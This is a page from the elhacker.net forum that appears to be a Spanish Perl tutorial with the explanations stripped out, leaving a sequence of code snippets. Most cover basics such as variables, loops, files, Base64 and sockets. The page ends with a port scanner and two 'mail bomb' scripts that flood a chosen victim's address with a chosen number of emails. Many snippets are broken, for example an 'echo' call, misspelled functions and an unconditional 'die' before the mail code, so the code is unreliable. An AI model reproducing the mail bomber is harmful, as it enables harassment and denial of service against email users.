Foro de elhacker.net

#!/usr/bin/perl

#!/usr/bin/perl
print "Hello World";

perl Hello.pl

#!/usr/bin/perl
$nombre = "Erik";

#!/usr/bin/perl
$nombre = "Erik";
print "$nombre";

#!/usr/bin/perl
$nombre = "Erik";
print '$nombre';

#!/usr/bin/perl
$quehoraes = "Son las".  localtime();
print "$quehoraes";

#!/usr/bin/perl
$quehora = "Son las";
$es = localtime();
$quehoraes = $quehora."  ".$es;
echo "$quehoraes";

#!/usr/bin/perl
$nombre = "Erik";
print $nombre;

#!/usr/bin/perl
printf "%f",91.3691;

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 8, 191);
print @array[0];

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 8, 191);
print @array;

#!/usr/bin/perl
$array[0]="Erik";
$array[1]="Madness";
$array[2]="Speed";
$array[3]=8;
$array[4]=191;
print @array[2];

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 'Mentor');
@busqueda = grep /^M/, @array;
print @busqueda;

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 'Mentor');
@busqueda = grep /d$/, @array;
print @busqueda;

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 'Mentor');
shift(@array);
print @array;

#!/usr/bin/perl
@array = ('Erik', 'Madness', 'Speed', 'Mentor');
unshift (@array, "Perl");
print @array;

#!/usr/bin/perl
print "?Como te llamas?:";
$nombre = <STDIN>;
print "?Cuantos a?os tienes?:";
$edad = <STDIN>;
print "Te llamas $nombre y tienes $edad a?os.";

#!/usr/bin/perl
rename ("archivo.txt", "supermegaarchivo.txt");

sysopen (REFERENCIA, "archivo que abrimos", MODO DE APERTURA, PERMISOS)

#!/usr/bin/perl
sysopen (ARCHIVO, "archivo.txt", O_WRONLY | O_CREAT);

#!/usr/bin/perl
sysopen (ARCHIVO, "archivo.txt", O_WRONLY | O_CREAT,0666);

#!/usr/bin/perl
close ("archivo.txt");

#!/usr/bin/perl
open(rundll32.exe, "|c:\\Windows\\");

#!/usr/bin/perl
open(LISTAR, "|dir");
$listar = ();
print $listar;
close $listar;
 

#!/usr/bin/perl
close (Proceso);

#!/usr/bin/perl
opendir (DIRECTORIO, "/");
foreach $nombre (readdir(DIRECTORIO))
{
print "$nombre\n";
}
closedir(DIRECTORIO);

#!/usr/bin/perl
   $zona= "/.";
   $directorio= chdir $zona;

#!/usr/bin/perl
use Cwd;
print getcwd();
 

#!/usr/bin/perl
mkdir "Nombre del directorio", 775;
 

#!/usr/bin/perl
rmdir "Nombre del directorio";

#!/usr/bin/perl
system("dir");

 El volumen de la unidad C es PRESARIO
 El n?mero de serie del volumen es: DC5F-B9AA

 Directorio de C:\

16/05/2008  14:39    <DIR>          AppServ
03/08/2008  10:40    <DIR>          Archivos de programa
03/08/2008  12:44             5.384 area.pl
02/08/2008  16:36                 2 AUTOEXEC.BAT
03/08/2008  19:03                34 backdoorbyerik.pl
29/11/2004  21:53                 0 CONFIG.SYS
10/01/2008  22:09    <DIR>          Dev-Cpp
03/08/2008  12:39             1.672 erikcgi.pl
25/06/2008  15:16    <DIR>          Documents and Settings
02/08/2008  17:33                 0 Exploit.pl
03/08/2008  12:39             1.672 explorar.pl
03/08/2008  12:39                 0 fake.pl
21/04/2008  13:57    <DIR>          Fraps
01/07/2008  15:13            20.480 KrewsCode X - Unban ID.exe
09/05/2008  23:56    <DIR>          midi
07/04/2008  14:22    <DIR>          My Music
06/07/2008  20:19    <DIR>          NVIDIA
13/12/2007  21:26    <DIR>          passwordbas
01/08/2008  12:18    <DIR>          pb
30/07/2008  20:20    <DIR>          Perl
12/06/2008  13:48    <DIR>          Program Files
30/07/2008  19:00                41 prueba.pl
30/07/2008  20:41    <DIR>          Python25
28/07/2008  23:53               407 pythong.cfg
28/07/2008  23:49            21.457 pythong.html
24/03/2008  20:38    <DIR>          ruby
25/03/2008  20:31    <DIR>          rubyprogram
17/09/2007  18:14    <DIR>          Setup
10/10/2007  08:45    <DIR>          sp3v
01/05/2008  00:18    <DIR>          TCWIN
01/07/2008  01:05    <DIR>          Temp
25/06/2008  15:20    <DIR>          USERDATA
03/08/2008  17:40    <DIR>          WINDOWS
              12 archivos         51.149 bytes
              21 dirs  74.581.889.024 bytes libres

#!/usr/bin/perl
system("dir > sistema.txt");

#!/usr/bin/perl
print "Hola, buenos dias, que tal esta?\n";
system("pause");
print "et voila";
system("pause>nul");

while (condicion)
   {
      (sentencia que se cumple)
   }

#!/usr/bin/perl
$erik = 1;
while($erik <=50)
{
print "Este es el mensaje numero $erik\n";
$erik++;
}

for (valor de variable; condicion; expresion de control)
{
(sentencia)
}

#!/usr/bin/perl
for ($erik=1;$erik<10;$erik++)
{
print "Este es el numero $erik";
}

#!/usr/bin/perl
   for ($erik=1;$erik<10;$erik++)
   {
     if ($erik==5) #Cuando llegue a 5
     {
       next; #pasa al 6
     }
     print "$erik\n";
   }
 

#!/usr/bin/perl
for(;;)
{
 print "You are Fucked!\n";
}
 

#!/usr/bin/perl
if(condicion)
{
(sentencia)
}

#!/usr/bin/perl
$erik = "Administrador";
if($erik == "Administrador")
{
print "Correcto, erik, es administrador";
}

#!/usr/bin/perl
if(condicion)
{
(sentencia)
}
else {
(sentencia)
}

#!/usr/bin/perl
$erik = "Usuario";
if ($erik == "Administrador")
{
print "Correcto es administrador";
}
else {
print "Correcto es usuario";
}

#!/usr/bin/perl
if(condicion)
{
(sentencia)
} 
elseif(condicion) {
(sentencia)
}
else {
(sentencia)
}

#!/usr/bin/perl
@admins = ("Erik", "Eriks", "Otros...");
print "Los admins son: ";
foreach $admins (@admins)
{
 print $admins;
}

#!/usr/bin/perl
@admins = ("Eriks", "Erik", "Otros...");
print "Los admins son: ";
foreach $admins (sort @admins)
{
 print $admins;
}

#!/usr/bin/perl
sub nombre_de_la_subrutina
{
(sentencia)
}
 

#!/usr/bin/perl
sub erik
{
print "Hola\n";
}
&erik;
print "Adios";
 

#!/usr/bin/perl
sub erik
{
print "Hola\n";
}
erik();
print "Adios";
 

#!/usr/bin/perl
$binario = join('', unpack('B*', "\x191"));
print "$binario\n";
 

#!/usr/bin/perl
print "Introduce el numero hexadecimal que deseas pasar a binario:";
$binn = <STDIN>;
$binario = join('', unpack('B*', "\x$binn"));
print "El numero binario es: $binario\n";

#!/usr/bin/perl
print "Introduce b* si deseas binario ascendente, introduce B* si deseas binario descendente:";
$bin = <STDIN>;
print "Introduce el numero hexadecimal que deseas pasar a binario:";
$binn = <STDIN>;
$binario = join('', unpack("$bin", "\x$binn"));
print "El numero binario es: $binario\n";

#!/usr/bin/perl
sub erik
{
my $nombre = "erik";
print "Admin: $nombre\n";
}
my $admin = "Admin";
print "$admin: erik\n";
&erik;
 

#!/usr/bin/perl
use Switch;
$variable = <valor>;
switch ($variable) {
case 1	{ print "<menu>" }
case 2	{ print "<menu>" }
case 3	{ print "<menu>" }
case 4	{ print "<menu>" }
else { print "ERROR" }
}
 

#!/usr/bin/perl
print "2\n";
BEGIN {print "1\n"}
END {print "4\n"}
print "3\n";
 

#!/usr/bin/perl
Inicio:
print "Volvemos al inicio";
goto Inicio;

#!/usr/bin/perl
print "De aqui 10 segundos te dire la contraseña";
sleep 10;
print "Despues de estos 10 segundos la contraseña a sido codificada: 10010010100101101010010101001010010101

#!/usr/bin/perl
eval
{
$war{ALRM} = sub  { die "Fallaste"};
print "Escribe la contraseña antes de 5 segungos:\n";
$war{ALRM} = 'IGNORE';
alarm 5;
print "Como hemos usado ignore, puedes tomarte el tiempo que necesites\n";
$pass = <STDIN>;
};
if ($@ =~ /Fallaste/){
print "Has fallado";
}

#!/usr/bin/perl
eval
{
$war{ALRM} = sub  { die "Fallaste"};
print "Escribe la contraseña antes de 5 segungos:\n";
alarm 5;
$pass = <STDIN>;
};
if ($@ =~ /Fallaste/){
print "Has fallado";
}
else {
print "Contraseña correcta";

#!/usr/bin/perl
use MIME::Base64;

#!/usr/bin/perl
use MIME::Base64;
$encoded = encoded_base64('El texto');
print $encoded;

#!/usr/bin/perl
use MIME::Base64;
$decoded = decoded_base64('El texto');
print $decoded;

#!/usr/bin/perl
use MIME::Base64;
print "Que texto desea codificar?:";
$cod = <STDIN>;
print "Que texto desea descodificar?:";
$descod = <STDIN>;
$encoded = encode_base64($cod);
$decoded = decode_base64($descod);
print "$encoded\n";
print "$decoded";

#!/usr/bin/perl
use Net::SMTP;
$smtp = Net::SMTP->new('error',
Hello => 'error',
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";

#!/usr/bin/perl
print hex ("contenido");
 

#!/usr/bin/perl
print oct ("cifra");
 

#!/usr/bin/perl
print chr("cifra");

#!/usr/bin/perl
print "join('', unpack('B*', "\x191"));

#!/usr/bin/perl
print ord("cifra o caracteres");
 

#!/usr/bin/perl
print rand(80);

#!/usr/bin/perl
print oct(rand(80));

#!/usr/bin/perl
$suma = 9+9;
print $suma;

#!/usr/bin/perl
$resta = 9-9;
print $resta;

#!/usr/bin/perl
$division = 81/9;
print $division;

#!/usr/bin/perl
$multi = 9*9;
$multi;

#!/usr/bin/perl
$pot = exp 8;
print $pot;

#!/usr/bin/perl
$pot = 5 ** 2;
print $pot;

#!/usr/bin/perl
$raizcuadrada= sqrt 81;
print $raizcuadrada;
 

#!/usr/bin/perl
print abs(-90);

#!/usr/bin/perl
$resto = 14 % 51;
print $resto;

#!/usr/bin/perl
($sec,$min,$hor,$day,$mon,$year,$wday,$yday,$isdst)=localtime(time);
print "$sec,";
print " $min, ";
print "$hour, ";
print "$isdst, ";
print "$year, ";
print "$mon, ";
print "$wday, ";
print "$yday, ";
print "$mday.";
 

#!/usr/bin/perl
($sec,$min,$hor)=localtime(time);
print "$hor: $min: $sec";

#!/usr/bin/perl
print "Te llamas $ARGV[0]";

use IO::Socket;

#!/usr/bin/perl
use IO::Socket;
$conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1],  Proto, 'tcp');

#!/usr/bin/perl
use IO::Socket;
print "Introduce la ip:";
$ip = <STDIN>;
print "\nIntroduce el puerto:";
$puerto = <STDIN>;
$conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto,  Proto, 'tcp');

#!/usr/bin/perl
use IO::Socket;
$sock = new IO::Socket::INET (LocalHost => 'localhost',
LocalPort => 1100,
Proto     => 'tcp',
Listen    =>  6,
Reuse     => 1
);
die "No se ha podido crear el socket: $!\n" unless $sock;
$conexion= $sock -> accept();
$conexion->send($ARGV[0]);
close ($conexion);
 

#!/usr/bin/perl
use Net::SMTP;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";
$sms = <STDIN>;
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();
 

#!/usr/bin/perl
use Net::SMTP;
print "Buenas, cuantos mails bombs deseas hacer:";
$n = <STDIN>;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
$sms = <STDIN>;
for ($a=1;$a<=$n;$a++) {
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();
}

#!/usr/bin/perl
use IO::Socket;
print "IP o HOST: ";
$iphost=<STDIN>; 
for($puertos=21;$puertos<=270;$puertos++)
   {
$sock = IO::Socket::INET->new(PeerAddr, "$iphost", PeerPort, "$puertos",   Proto, 'tcp');
if ($sock) {      
    print "$puertos Abierto\n";
     } else {   
     print "$puertos Cerrado\n";
     }
   }

#!/usr/bin/perl
use IO::Socket;
print "IP o HOST: ";
$iphost=<STDIN>; 
print "Puerto de inicio: ";
$puertoi = <STDIN>;
print "Puerto final: ";
$puertof = <STDIN>;
for($puerto = $puertoi;$puerto<$puertof;$puerto++)
   {
$sock = IO::Socket::INET->new(PeerAddr, "$iphost", PeerPort, "$puerto",   Proto, 'tcp');
if ($sock) {      
    print "El puerto $puerto esta abierto\n";
     } else {   
     print "El puerto $puerto esta cerrado\n";
     }
   }